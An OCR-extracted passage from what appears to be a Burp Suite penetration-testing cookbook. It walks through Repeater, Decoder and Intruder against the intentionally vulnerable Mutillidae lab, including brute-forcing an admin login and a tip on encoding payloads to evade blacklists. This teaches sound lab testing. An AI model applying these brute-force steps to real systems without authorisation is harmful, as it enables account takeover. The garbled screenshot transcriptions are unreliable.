tab can be expanded or collapsed by clicking the three lines above the word INSPECTOR.

The Inspector tab is now collapsed:

n=l) o | Av

Request | Response

Pretty  Raw  Hex nw =

1

oo

Response Y [opecor  SED

Pretty Raw Hex n = Request attributes 2 v

[N

w

=1 Mmoo

¢ User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4) Response headers 8 v

GET /mutillidae/index.php?page=login.php HTTP/L.1
Host: 192.1£B8.29.128

Cookie: showhints=1; PHPSESSID=45q7¢g4%bjsém3oeinsbiiarvlE; acopendivids=
swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada

Sec-Ch-Ua: "Chromium"™;v="113", "Not-A.Brand";w="24"

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "Windows"

Figure 2.6 — Message editor with Inspector collapsed

The Inspector tab is now expanded:

Il
'l

@
X

GET /mutillidae/index.php?page=login.php HTTE/1l.1
Host: 192.168.29.128

Cookie: showhints=1; PHPSESSID=
45¢7g49bjsem3oelnsbiiarvle; acopendivids=
swingset,jotto,phpbbl,redmine; acgroupswvithpersist= Request cookies 4 v
nacda

Sec-Ch-Ua: "Chromium”;v="113", "Not-A.Brand”;v="2I4"
Sec-Ch-Ua-Mobile: 20 Request headers 16 v
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1

Request query parameters 1 A

AppleWebKit/537.36 (FHTML, like Gecko)
Chrome/113.0.5672.93 Safari/537.3€

Figure 2.7 — Message editor with Inspector expanded
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Once expanded, attributes, parameters, cookies, and headers are enumerated. Each section can
be expanded as a dropdown to display the individual section information. For example, to see
all cookies used in this request, expand the Request cookies subsection showing the number
4 to indicate there are four cookies used in this request:

Inspector w = - @ X
Request attributes 2 b4
Request query parameters 1 hd
Request cookies 4
Name Value -
showhints 1 >
PHPSESSID 45q7g49bjsbm3oe2ns... 2
acopendivids swingset,jotto,phpbb2... >
acgroupswithpersist nada >
Request headers 16 b
Response headers 8 b

Figure 2.8 — Inspector view with Request cookies subsection expanded

The other side of the message is the Response tab, containing the Pretty, Raw, and Hex subtabs
and, sometimes, Render. If the content is HTML, then the Render subtab provides an HTML
display as it would be presented in a browser. The Inspector side tab is also available with the
same information as previously described in the Request portion of the message:
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=
n
0
&

Request | Response

Pretty Raw Hex Render \n =
| HTTP/1.1 200 OK

2 Date: Thu, 18 May Z0Z3 1£:10:03 GMT

3 Server: Apache/Z.2.14 (Ubuntu) mod mono/Z.4.3 PHP/5.3.Z-lubuntud. 30
with Suhosin-Patch proxy html/3.0.1 mod_python/3.3.1 Python/2.E.5
mod =sl/2.2.14 OpenSSL/0.9.8k Phusion Passenger/4.0.38
mod_perl/2.0.4 Perl/v5.10.1

¥X-Powered-By: PHP/S.3.I-lubuntud. 30

Logged-In-User:

Vary: Accept-Encoding

Content-Length: 50358

Connection: close

Content-Type: text/html

¥O0.123dSNI

=

1 &n LA

o

Ts]

Figure 2.9 — Message editor viewing a response with Inspector collapsed

Repeating with Repeater

Repeater allows for slight changes or tweaks to a request, and it is displayed in the left-hand window.
The Send button allows a request to be reissued, and the response is displayed in the right-hand window.

Details related to your HTTP request include standard message editor details such as Pretty, Raw,
and Hex as subtabs along with the Inspector side tab.

Details related to the HTTP response include standard message editor details including Pretty, Raw,
and Hex as subtabs along with the Inspector side tab and, sometimes, Render.

At the bottom of each panel is a search box, allowing the tester to quickly find a value present in
a message:



Repeating with Repeater

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater

1 x +

Request
Preth Raw Hex

1 GET /mutillidae/ HTTP/1.1
2 Host: 2.1€8.29.128

Burp Suite Professional

Collaborator Sequencer De

: |showhints=1; PHPSESSID=45q7g4%bjsém3oelnsbiiarvl6; acopendivids=

-Control: max-age=0

h-5ite: cross-site
h-Mode: navigate
10 Sec-Fetgh-User: 21

11 Sec-Fetch-Dest: document

&-Mobile: 20
aPlatform: "Windows"
ttp: //192,168.29.128/

cookie

: "Chromium™;v="113", "Not-A.Brand";w="214"

ffset,jotto,phpbb2, redmine; acgroupswithpersist=nada
gent: Mozilla/5.0 (Windows NT 10.0; Wined; x€4) AppleWebKit/537.36
, like Gecko) Chrome/113.0.5672.93 Safari/537.36

ml,application/xhtml+xml,application/xml;q=0.9,image/avif, image /webp,i
g,*/*;q=0.8,application/signed-exchange ;v=b3;q=0.7

1 match

Figure 2.10 — Search box at the bottom of the request in Repeater

There are additional search box settings available when the gear icon is clicked, including Case sensitive,
Regex, and Auto-scroll to match when text changes. When searching for text, if case sensitivity is
necessary, then the option can be toggled ON. In addition to searching for plain text strings, users can
use regular expression (regex) patterns when matching a value present in a message. Finally, the auto-
scroll feature, when checked, will automatically move to the position of the value the user is searching:
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Case sensitive

Regex D047.web-security-acadeny

15 Auto-scroll to match when text changes

®‘(' e .;75:'7"‘,

Figure 2.11 — Additional search box settings available

0 highlights

Getting ready

Repeater allows you to manually modify and then re-issue an individual HT TP request, analyzing
the response that you receive.

How to do it...

1. From the Target | Site map or Proxy | HT'TP history tabs (shown in the following screenshot),
right-click a message and select Send to Repeater:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.4.3 - Tempo

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comg
Intercept WebSockets history {} Proxy settings

Filter: Hiding C5S, image and general binary content

# Host Method URL Params  Edited  Status code
2 https://192.168.29.128 GET /mutillidae/ 200
6 https://192.168.29.128 GET /mutillidae/javascript/bookmark-site... 200
Request
Pretty Raw Hex a n =

GET /mutillidae/ HTTP/1.1
Host: 192.168.29.128

Cookie: showhints=1; PHPSESSID=45 Scan
swingset,jotto,phpbbZ, redmine; ac

(N

ndivids=

w

=

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows
Gecko) Chrome/113.0.5672.93 Safar
7 Accept:
text/html, application/xhtml+xml,a
¢=0.8,application/signed-exchange
2 Sec-Fetch-Site: cross-site
9 Sec-Fetch-Mode: navigate
10 Sec-Fetch-User: 21
11 Sec-Fetch-Dest: document
12 Sec-Ch-Ua: "Chromium”;v="113", "N

w

-

[eeiigene]

Do passive scan
Do active ccan £/537.36 (FHTML, like
Send to Intruder Ctrl+|
Crl+R ,image /webp, image/apng,*/*;
Send to Sequencer
Send to Comparer
Send to Decoder

Show response in browser

Figure 2.12 — Contextual menu to send the request to Repeater from Proxy HTTP history
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2. Switch over to the Repeater tab. The Request is now in Repeater and is ready for
parameter tweaking.

Burp Project |Intruder Repeater Window Help Burp Suite Professional
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer De
1x <+

E=Ro -

Request

Pretty Raw Hex a n =

GET /mutillidaes/ HTTP/l.1
Host: 152.168.29.128
Cookie: showhints=1; PHPSESSID=45q7g4Sbjsém3oelnsbiiarvlé; acopendivids=
swingset,jotto,phpbb2, rednine; acgroupswithpersist=nada
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x£64) AppleWebKit/537.3€
(FHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept:
text/htnl,application/xhtml+xml,application/xml;q=0.9, inage/avif, image /webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

2 Sec-Fetch-Site: cross-site

% Sec-Fetch-Mode: navigate
10 Sec-Fetch-User: 21

11 Sec-Fetch-Dest: document
12 Sec-Ch-Ua: "Chromium™;vw="113", "Not-A.Brand";v="24"

13 Sec-Ch-Ua-Mobile: 20
14 Sec-Ch-Ua-Platform: "Windows"™
15 Peferer: http://192.168.29.128/
1€ Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8
12 Connection: close

w N

o LN eks

Figure 2.13 — Request in Repeater, ready for tweaking

We will use Repeater quite a bit throughout this book. This chapter is just an introduction to Repeater
and to understand its purpose. With regard to purpose, please note the main difference between Repeater
and Intruder is the number of requests you can send at one time. If you are experimenting with slight
changes to identify exposure points, Repeater is very handy. Once a pattern is established, Intruder
can then be used to brute-force your vulnerable parameter over and over again with many requests.

Decoding with Decoder

Burp Decoder is a tool that allows the tester to convert raw data into encoded data or to take encoded
data and convert it back to plain text. Decoder supports several formats, including URL encoding,
HTML encoding, Base64 encoding, binary code, hashed data, and others. Decoder also includes a
built-in hex editor.
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Getting ready

As a web penetration test progresses, a tester might happen upon an encoded value. Burp eases the
decoding process by allowing the tester to send the encoded value to Decoder and try the various
decoding functions available.

How to do it...

Let’s try to decode the value of the PHPSESSID session token found in the OWASP Mutillidae II
application. When a user initially browses to the URL (http://<Your VM Assigned IP_
Address>/mutillidae/), that user will be assigned a PHPSESSID cookie. The PHPSESSID
value appears to be encrypted and then wrapped in Base64 encoding. Using Decoder, we can unwrap
the value:

1. Browsetothehttp://<Your VM Assigned IP Addresss>/mutillidae/ application.

2. Find the HT'TP request you just generated from your browser within the Proxy | HI'TP history
tab (shown in the next screenshot). Highlight the PHPSESSID value itself, not the parameter
name, right-click, and then select Send to Decoder:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023 4.

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder

Intercept WebSockets history {5} Proxy settings

Filter: Hiding C5S, image and general binary content

# Host Method URL Params
4 https://192.168.29.128 GET /mutillidae/index.php?popUpNotificationCode=AU1 v
40 https://192.168.29.128 POST  /mutillidae/index.php?page=login.php v

Request

Pretty Raw Hex

POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.29.128

Cookie: showhints=1; PHPSESSID=45gq7g4Sbhjsem3oel
swingset,jotto,phpbb2, redmine; acgroupswithpers Scan
Content-Length: 59
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v= Do passive scan
Sec-Ch-Ua-Mobile: 20

¢ Sec-Ch-Ua-Platform: "Windows"

W Bk

Scan selected insertion point

1

Do active scan

S Upgrade-Insecure-Requests: 1 Send to Intruder Ctrl+|

10 Origin: https://192.168.29.128

11 Content-Type: application/x-www-form-urlencoded Send to Repeater Ctrl+R

12 User-Agent: Mozilla/5.0 (Windows N'T 10.0; Wing4 Send to Sequencer L, like
Gecko) Chrome/113.0.5672.93 Safari/537.36

13 Accept: Send to Comparer
text/html,application/xhtml4xml, application/xml age/apn
¢q=0.8,application/signed-exchange;v=b3;q=0.7 Send to Decoder

Figure 2.14 - Contextual menu to send the highlighted value in the
request to Decoder from the Proxy HTTP history
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3. Inthe Decoder tab, in the Decode as... dropdown shown as follows, select Base64. Note the
results are encrypted:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.4.3 - Temporary Proje..  — (] X
Dashboard Target Proxy Intrud Rep Collaborator Sequencer @ Settings
Comparer Logger Extensions Learn
| @Tet OHx (@)
Decode as ... | N
Plain

el
00000000 e3 %a bb 83 8f 5b 8e ce a6 de 87 bé %e cé e2 89 A0»00[0D%)p0OgI0EAD
00000010 aa ef €c 36 —— —— == ==  —= == —= —— —— —— —— —  3j]§

Smart decode

Figure 2.15 - Highlighted value from request in Decoder and encode/decode options available

In this example, we cannot proceed any further. We can confirm the value was, indeed, wrapped in
Base64. However, the value that is unwrapped is encrypted. The purpose of this recipe is to show you
how you can use Decoder to manipulate encoded values.

There’s more...

PortSwigger added Decoder functionality to the Inspector side tab as well. This makes the manipulation
of values easier to see within the full context of the request or response when viewed through the
message editor:
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.4.3 - Temporar... — m] x

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder  {G} Settings
Comparer Logger Extensions Learn

1x  2x o+ Q
B @ cnce [[< 7[> Target: https://192.168.29.128 /°  HTIP/1 (3)
m = . T =

Request | R nse D Inspector D=z -®Xx
Pretty Raw Hex n = Selection 26 (0x1a) ~
1 GET /mutillidae/index.php?page=login.php HTTP/1.1

2 Host: 192.1€B.29.128 Selected text

pokie: =howhin : PHP SID=

acopendivids= 45q7g49bisén3oe2nsbiiarvle
acgroupswithpersistc=

nada
4 Sec-Ch-Ua: "Chromium";w="113", "Not-A.DBamd";v="24"
5 Sec-Ch-Ua-Mobile: 20 Decoded from: Basefd v (]
€ Sec-Ch-Ua-Platform: "Windows" .
7 Upgrade-Insecure-Requests: 1 M, o2 2 bb 83 URL enceding Lo
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4) o 2F A2 HTML encoding
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/113.0.5672.93 Safari/537.36 W Basefd
S Accept: qd pnges
text/html,application/xhtml+xml,application/xml;q=0.9, Baseb4 URL
image/avif,image/webp, inage/apng,*/*;q=0.8,application -
/signed-exchange ;v=b3;q=0.7 Request attributes 2 o
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate Request query parameters 1 v

12 Sec-Fetch-User: 2?1l

13 Sec-Fetch-Dest: document
14 Referer: https://192.168.29.128/mutillidae/ Request bo arameters 0 [
15 Accept-Encoding: gzip, deflate 4 dy p
16 Accept-Language: en-US,en:q=0.9,en-CA;q=0.8
17 Connection: close Request cookies 4 hd
18
19
Request headers 16 v

Figure 2.16 — Using Inspector to perform encoding/decoding

Intruding with Intruder

Burp Intruder allows a tester to brute-force or fuzz specific portions of an HTTP message, using
customized payloads.

To properly set up customized attacks in Intruder, a tester will need to use the settings available in

the four subtabs of Intruder:

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater
1 = +
Positions Payloads Resource pool Settings

Figure 2.17 - Intruder and subtabs available
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Getting ready

A tester may wish to fuzz or brute-force parameter values within a message. Burp Intruder eases this
process by providing various intruder attack styles, payloads, and options.

How to do it...

1. Browse to the login screen of Mutillidae and attempt to log in to the application. For example,
type a username of admin and an invalid password of adminpass.

2. Find the login attempt in the Proxy | HTTP history tab. Your request number (that is, the #
sign on the left-hand side) will be different from the one shown next. Select the message that
captured your attempt to log in.

3. Asthelogin attempt message is highlighted in the HT'TP history table, right-click the Request
tab, and select Send to Intruder:

Burp Project Intruder Repeater Window Help Burp Suite Professio

Dashboard Target Intruder Repeater Collaborator Sequen
Intercept WebSockets history () Proxy settings

Logging of out-of-scope P
Filter: Hiding CSS, image and general binary content
# Host Method URL
47 https://192.168.29.128 GET /mutillidae/javascript/gritter/jquery.gritter.min
41 https://192.168.29.128 GET ‘mutillidae/index.php?popUpNotificationCode
40

Request

Pretty Raw Hex B n =

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.1£B.29.128

Cookie: showhints=1; PHPSESSID=45q7g4%bjsém3oelnsbiiarvlé;
acopendivids=swingset, jotto,phpbbZ,redm
nada Scan
Content-Length: 59
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";vw="113", "Not-iA.B Do active scan
Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "Windows™ W Ctrl+l

(R

Do passive scan

LN TS

% Upgrade-Insecure-Requests: 1 Send to Repeater Ctrl+R
10 Origin: hetps://192.168.29.128
11 Content-Type: application/x-www-form-ur Send to Sequencer

12 User-Agent: Mozilla/5.0 (Windows NT l0.
AppleWebKit/537.36 (KHTML, like Gecko)
Safari/537.36 Send to Decoder

13 Accept:
text/html,application/xhtml+xml,applica
age/webp, inage/apng, */*;q=0.8,applicati Request in browser >
7

Send to Comparer

Show response in browser

14 Sec-Fetch-5Site: same-origin Extensions >
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: 21

17 Sec-Fetch-Dest: document Copy URL
18 Referer: https://192.168.29.128/mutilli
19 Accept-Encoding: gzip, deflate

Engagement tools >

Copy as curl command (bash)

20 Accept-Language: en-US,en;q=0.9,en-CA;qs Copy to file
21 Connection: close .
22 Save item

23 username=adminspassword=adminslogin-php- Convert selection

Figure 2.18 — Contextual menu to send the request to Intruder from Proxy HTTP history
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Positions

The Positions subtab identifies where the payload markers are to be defined within the Payload |
Positions section. The Positions subtab also identifies the Attack type and the default setting is Sniper,
which will work for us in this recipe. For our purposes, click the Clear § button (that is, payload
markers) from the right-hand side menu. Manually select the password field by highlighting it with
your cursor. Now, click the Add § button on the right-hand side menu. You should have the payload
markers wrapping around the password field as follows:

1 % + Q :

Positions Payloads Resource pool Settings

@ Choose an attack type m

Attack type: | Sniper v

(2) Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: | https://192.168.29.128 Update Host header to match target

1 POST /mutillidae/index.php?page=login.php HTTP/1.1

2 Host: 192.1£8.29.128 Auto §

3 Cookie: showhints=1; PHPSESSID=45q7g4%bjsém3oeZnsbiiarvlé; acopendivids=swingset,jotto,phpbbl,redmine;
acgroupswithpersist=nada Refresh

4 Content-Length: 59

5 Cache-Control: max-age=0

g

€ Sec-Ch-Ua: "Chromium";w="113", "Not-A.Brand"”;w="24"
7 Sec-Ch-Ua-Mobile: 20
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://192.168.29.128
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93
Safari/537.3€
13 Accept:
text/html, application/xhtml+xml,application/xml;q=0.9,image/avif, image /webp,image/apng,*/*;q=0.8,application/signe
d-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 21
7 Sec-Fetch-Dest: document
S Referer: https://192.168.29.128/nutillidae/index.php?page=login.php
9 Accept-Encoding: gzip, deflate
Accept-Language: en-US,en:q=0.9,en-Ci;q=0.8
Connection: close

23 usemane:admmpasmx:d login-php-submit-button=Login

@@ € ||| | Search 0 matches Clear

Figure 2.19 - Substitution marker placed on password value in the request
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Payloads

After the Positions subtab is the Payloads subtab:

Burp Project Intruder Repeater Window Help Burp

Dashboard Target Proxy Repeater

Comparer Logger Extensions Learn
1 = +

Positions Payloads Resource pool Settings

Figure 2.20 - Intruder Payloads subtab

The Payloads subtab identifies wordlist values or numbers you wish to be inserted into the positions
you identified on the previous tab. There are several sections within the Payloads subtab, including
Payload sets, Payload options, Payload processing, and Payload encoding.

Payload sets

Payload sets allows for the setting of the number of payloads as well as the type. For our purposes,
we will use the default settings for Sniper, seen on the previous subtab, Positions. This configuration
will allow us to use one payload with a Payload type value of Simple list:

Burp Project |Intruder Repeater Window Help Burp Suite Professio

Dashboard Target Proxy | Intruder Repeater Collaborator

Learn
1 = +
Positions Payloads Rescurce pool Settings

@ Payload sets

You can define one or more payload sets. The number of payload sets depends
payload set, and each payload type can be customized in different ways.

Payload set: | 1 W Payload count: 0

Payload type: = Simple list o Request count: 0

Figure 2.21 - Payloads subtab allows Payload sets to be configured
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Payload options

In the Payload options section, a tester can configure a custom payload or load a preconfigured one
from a file.

For our purposes, we will add one value to our payload. In the textbox, type admin, and then click
the Add button to create our custom payload:

@ Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Load ...
Remove
Clear

Deduplicate

Add ||

Add from list ... v

Figure 2.22 — Values can be set in the simple list of this payload set

Payload processing

Payload processing is useful when configuring special rules to be used while Intruder substitutes payloads
into payload marker positions. For this recipe, we do not need any special payload-processing rules:
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@ Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled Rule
Edit

Remove
Up

Down

Figure 2.23 - Payload processing allows for rules to be applied to
payloads as they run through an intruder attack

Payload encoding

Payload encoding is applied to the payload value prior to sending the request to the web server. Many
web servers may block offensive payloads (for example, <script > tags), so the encoding feature is
a means to circumvent any blacklist blocking.

For this recipe’s purpose, leave the default box checked:

@ Payload encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

URL-encode these characters: | \=<>7+&%:"[)|*'#

Figure 2.24 — Payload encoding to be applied to the payload value
substituted at the substitution marker within each request
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Resource pool

After the Payloads subtab is the Resource pool subtab:

Burp Project Intruder Repeater Window Help  Burp Suite
Dashboard Target Proxy Intruder Repeater
Comparer Logger Extensions Learn

1x <+

Positions Payloads Resource pool Settings

Figure 2.25 — Intruder Resource pool subtab

The Resource pool subtab is used to assign the number of threads to be used during an intruder attack.
The default pool size is 10, which is resource-dependent. This tab allows the creation and management

of various pool sizes combined with throttling of fixed or random delays:

ouors  Tw ooy [TEEE] e oo Senncn D ;
o [z ] e

Specify the resource pool in which the attack will be run. Resource pools are used to manage the usage of system resources across multiple tasks.

@ Use existing resource pool

trequests  Requestdelay Random delay  Delay increment  Auto backoff

Selected Resource pool Concurrel
@ Default resource pool 10 Yes
| Create new resource peol
Name:

| Maximum concurrent requests:
| Delay between requests: miliseconds

Ficed

With random varnations

miliseconds

Increaze delzy in increments of

| Automatic backoff

Figure 2.26 — Default resource pool configured in Intruder
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Depending upon your target application’s level of fortitude, you may wish to create a new resource
pool with less intrusive behavior and network noise:

® Create new resource pool

Name: | Custom resource pool 1

Maximum concurrent requests: 2

Delay between requests: milliseconds
Fixed
With random vanations
Increase delay in increments of milliseconds

Automatic backoff

Figure 2.27 — Creation of custom resource pool in Intruder

Settings

Finally, the Intruder | Settings tab provides attack table customizations, particularly related to
responses captured such as specific error messages. There are several sections within the Intruder |
Settings tab, including Save attack, Request headers, Error handling, Attack results, Grep - Match,
Grep - Extract, Grep - Payloads, Redirections, and HTTP version:

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Repe

Comparer Logger Extensions Learn
1x  +
Positions Payloads Resource pool Settings

Figure 2.28 — Intruder Settings tab

Save attack

Save attack is an option allowing you to save your intruder attacks, configurations, and results to your
project file. This feature is turned off, by default, to save space as the accumulation of attack data can
become quite large:
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@ Save attack

This setting allows you to save your attack to the current project file. The attack will then be available from
the Dashboard whenever you open this project.

Save attack to project file (only available for disk-based

Figure 2.29 — Saving your intruder attacks

Request headers

Request headers offers configurations specific to header parameters while Intruder is running attacks.
For this recipe, leave the default boxes checked:

@ Request headers

O These settings control whether Intruder updates the configured request headers during attacks.

Update Content-Length header

Set Connection header
Figure 2.30 — Request headers configurations

Error handling

Error handling is a configuration to tell Intruder how you want to handle network errors during an
attack. The default settings are 3 retries and a pause of 2000 milliseconds before each retry.

For this recipe, leave the default setting as they are:
@ Error handling
O These settings control how Intruder handles network errors during the attack.

Mumber of retries on network failure: 3

Pause before retry (milliseconds): 2000

Figure 2.31 - Error handling
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Attack results

After starting the attack, Intruder creates an attack table. The Attack results section offers some
settings around what is captured within that table.

For this recipe, leave the default settings as they are:

@ Attack results

O These settings control what information is captured in attack results.

Store requests
Store responses
Make unmodified baseline request
Use denial-of-service mode (no results)

Store full payloads
Figure 2.32 - Attack results options

Grep - Match

Grep - Match is a highly useful feature that, when enabled, creates additional columns in the attack
table results to quickly identify errors, exceptions, or even a custom string within the response.
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For this recipe, leave the default settings as they are:

@ Grep - Match

O These settings can be used to flag result items containing specified expressions.

Flag result items with responses matching these expressions:

Paste error
excepti
Load ... : -
illegal
Remove invalid
. >
a fail
= stack
access
directory
Add Enter a new item

Match type: ® Simple string
Regex

Case sensitive match

Exclude HTTP headers

Figure 2.33 — Grep - Match on keywords

Grep - Extract

Grep - Extract, when enabled, is another option for adding a column in the attack table whose label is
specific to a string found in the response. This option differs from Grep - Match since Grep - Extract
values are taken from an actual HTTP response, as opposed to an arbitrary string.
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For this recipe, leave the default settings as they are:

@ Grep - Extract

O These settings can be used to extract useful information from responses into the attack results table.

|_| Extract the following items from responses:
Add |/
Edit |
Remove |
' Duplicate | >
Up |
Down |

Clear | _
Maximum capture length: ‘ 100

Figure 2.34 - Grep - Extract based on response

Grep - Payloads

Grep - Payloads provides you with the ability to add columns to the attack table in which responses
contain reflections of payloads.

43



44 Getting to Know the Burp Suite of Tools

For this recipe, leave the default settings as they are:

@ Grep - Payloads ]
O These settings can be used to flag result items containing reflections of the submitted payload.
|| Search responses for payload strings
Case sensitive match
Exclude HTTP headers

Match against pre-URL-encoded payloads

Figure 2.35 — Grep responses on payload values used in the request

Redirections

Redirections instructs Intruder to never, conditionally, or always follow redirections. This feature is
very useful, particularly when brute-forcing logins since a 302 redirect is generally an indication of entry.

For this recipe, leave the default settings as they are:
@ Redirections
O These settings control how Burp handles redirections when performing attacks.
Follow redirections: @ Never
On-site only
In-scope only

Always

Process cookies in redirections

Figure 2.36 — Redirection behavior

HTTP version

HTTP version instructs Intruder to use either HTTP/2 or HTTP/ 1 as the protocol during the attack.
The default setting will use whichever protocol is currently used by the target server:
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(3) HTTP version
O Use this setting to control whether Burp Intruder uses HTTP/2 or HTTP/1 for outbound connections over TLS during this attack.

(O Override the project-level HTTP/2 setting

Default to HTTP/2 if the server supports it

Figure 2.37 - HTTP protocol behavior

Enable this feature if you wish to override the target’s project and use HTTP/ 1 instead. Make sure to
uncheck Default to HTTP/2 if the server supports it to force the HTTP /1 protocol:

@ HTTP version

O Use this setting to control whether Burp Intruder uses HTTP/2 or HTTP/1 for outbound connections over TLS during this attack.

@ Override the project-level HTTP/2 setting

I | Default to HTTP/2 if the server supports it

Figure 2.38 - HTTP/2 override

Start attack button

Finally, we are ready to start Intruder. On either the Payloads or the Settings subtab, click the Start
attack button to begin:

Positions Payloads Resource pool Settings

® Payiosd sets St |

Figure 2.39 - Intruder’s Start attack button

When the attack starts, an attack results table will appear as a pop-out screen. This allows the tester
to review all requests using the payloads within the payload marker positions. It also allows us to
review all responses and columns showing Status code, Error, Timeout, Length, and Comment:
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Attack Save Columns 3. Intruder attack of http://192.168.29.128 - Temporary attack - Not saved t... — [m} X

Results Positions Payloads Resource pool Settings

‘ Filter: Showing all items ‘@

Request ~ Payload Status code  Error Timeout  Length Comment
0 200 ) ( 50800

I _J
1 admin (i) O [ 50043
Request Response E

Pretty Raw Hex B v

POST /mutillidae/index.php?page=login.php HTTP/1.1l

Host: 192.1&8.29.128

Content-Length: 59

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.29.128

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x€4) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/113.0.5672.127 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image /webp, inage/apng,*/*;q=0.8,ap

plication/signed-exchange;v=b3;q=0.7

10 Referer: http://192.168.29.128/mutillidae/index.php?page=login.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showhints=1; PHPSESSID=qg7Zald40gvaZlfastnfmgviteus; acopendivids=
swingset,jotto,phpbbZ,rednine; acgroupswithpersist=nada

14 Connection: close

15 —

16 use:nane:adnin&passuord: login-php-subnit-button=Login

L Y T A N
1

w

@@ |: |i Search... 0 matches

Finished
Figure 2.40 - Attack results table

For this recipe, we note that the payload of admin in the password parameter produced a status

code of 302, which is a redirect. This means we logged in to the Mutillidae application successfully.

Looking at Response | Render within the attack table allows us to see how the web application
responded to our payload. As you can see, we are successfully logged in as an admin:



Intruding with Intruder 47

Attack Save Columns 3. Intruder attack of http://192,168.29.128 - Temporary attack - Not saved to project file =~ — O X
Results Positions Payloads Resource pool Settings

Filter: Showing all items @

Request Payload Status code  Error Timeout Length Comment

0 00 50800

1 admin [ 300 | 50943

®% OWASP Mutillidae Il: Web Pwn in Mass

Production
Version: 2.6.24  Security Level: s H l (1-5cript Kidd1e) |Logged In

1l

Toaggle Show Popup Toggle Enforce Reset View View Captured
Hesnai ALoguut B Taats Hints Security SSL DB Log Data

:
Login
Hints

_ -
TN

Finished

Figure 2.41 — The result of the intruder attack is a logged-in session
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Configuring,
Crawling, Auditing, and
Reporting with Burp

This chapter will help testers calibrate Burp Suite settings at both the project and user levels for
optimization against the target application. For example, tweaks to the Crawling and Auditing options
can assist with less abusive and less noisy brute-forcing attacks. Likewise, testers can find themselves
in interesting network situations when trying to reach a target. Thus, several features are included in
Burp Suite for testing sites running over Hypertext Transport Protocol Secure (HTTPS) or accessing
sites through a SOCKS proxy or a port forward. Many settings are available at both the project and user
levels. Finally, Burp Suite provides out-of-the-box functionality to generate a report for found issues.

In this chapter, we will cover the following recipes:

o Establishing trust over HT'TPS
o Setting project configurations
o Setting user configurations

o Crawling target sites

o Creating a custom scan script

o Reporting issues
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Technical requirements
To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications (BWA)

o  OWASP Mutillidae link

o Burp Suite Proxy Community or Professional (https://portswigger.net/burp/)
o Firefox browser (https://www.mozilla.org/en-US/firefox/new/)

o The FoxyProxy Standard add-on for the Firefox browser configured to allow Burp Suite to proxy
traffic (https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-
standard/)

« The proxy configuration steps are covered in the Listening for HT TP traffic using Burp recipe
of Chapter 1.

Establishing trust over HTTPS

Since most websites implement (HTTPS, it is beneficial to know how to enable Burp Suite to communicate
with such sites. HT'TPS is an encrypted tunnel running over Hypertext Transport Protocol (HTTP).

The purpose of HTTPS is to encrypt traffic between the client browser and the web application to prevent
eavesdropping. However, as testers, we wish to allow Burp Suite to eavesdrop since that is the point of
using an intercepting proxy. Burp Suite provides a root Certificate Authority (CA) signed certificate.
This certificate can be used to establish trust between Burp Suite and the target web application.

By default, Burp’s Proxy can generate a per-target CA certificate when establishing an encrypted
handshake with a target running over HT'TPS. That takes care of the Burp-to-web-application portion
of the tunnel. We also need to address the browser-to-Burp portion.

To create a complete HTTPS tunnel connection between the client browser, Burp, and the target
application, the client will need to trust the PortSwigger certificate as a trusted authority within
the browser.

Getting ready

In situations that require penetration testing with a website running over HT'TPS, a tester must import
the PortSwigger CA certificate as a trusted authority within their browser. You may use a proxy pass-
through, such as FoxyProxy, to allow traffic to be channeled to Burp Suite much more easily.


https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
